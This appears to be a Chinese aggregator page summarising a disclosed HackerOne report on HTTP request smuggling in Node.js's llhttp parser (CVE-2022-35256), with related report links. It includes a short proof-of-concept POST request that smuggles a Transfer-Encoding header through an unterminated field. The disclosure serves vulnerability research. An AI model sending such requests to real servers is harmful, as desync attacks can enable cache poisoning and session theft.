地图 / HTTP Request Smuggling Due to Incorrect Parsing of Header Fields

HTTP Request Smuggling Due to Incorrect Parsing of Header Fields

注入与走私 / HTTP 请求走私 / #1675191

厂商: Node.js
严重程度: 低危
赏金: —
弱点: HTTP 请求走私
研究员: @vvx7
披露日期: 2022-10-26
资产: https://github.com/nodejs/node
CVE: CVE-2022-35256

该报告还没有中文解读。

原文摘录

摘自原文（2756 字符中的一小部分）

**Summary:** The `llhttp` parser in the `http` module in Node v18.7.0 does not correctly handle header fields that are not terminated with CLRF. This may result in HTTP Request Smuggling.

原文中的代码

POST / HTTP/1.1
Host: localhost:5000
x:\nTransfer-Encoding: chunked

1
A
0

默认不展示报告全文。以上为简短摘录，完整复现过程请阅读原文。版权归研究员与 Node.js 所有。

时间线

2022-08-20报告提交
2022-10-26公开披露

阅读 HackerOne 原文 ↗作者 @vvx7 · 版权归作者与 Node.js 所有

同类报告

Bypass for #488147 enables stored XSS on https://paypal.com/signin againPayPal · 2019-08-07 · $20,000 Mass account takeovers using HTTP Request Smuggling on https://slackb.com/ to steal session cookiesSlack · 2020-03-12 Stored XSS on https://paypal.com/signin via cache poisoningPayPal · 2019-08-07 · $18,900 Request smuggling on admin-official.line.me could lead to account takeoverLY Corporation · 2020-05-19 Stealing Zomato X-Access-Token: in Bulk using HTTP Request Smuggling on api.zomato.comEternal · 2020-07-09 Password theft login.newrelic.com via Request SmugglingNew Relic · — · $3,000

HTTP Request Smuggling Due to Incorrect Parsing of Header Fields · 破甲 POJIA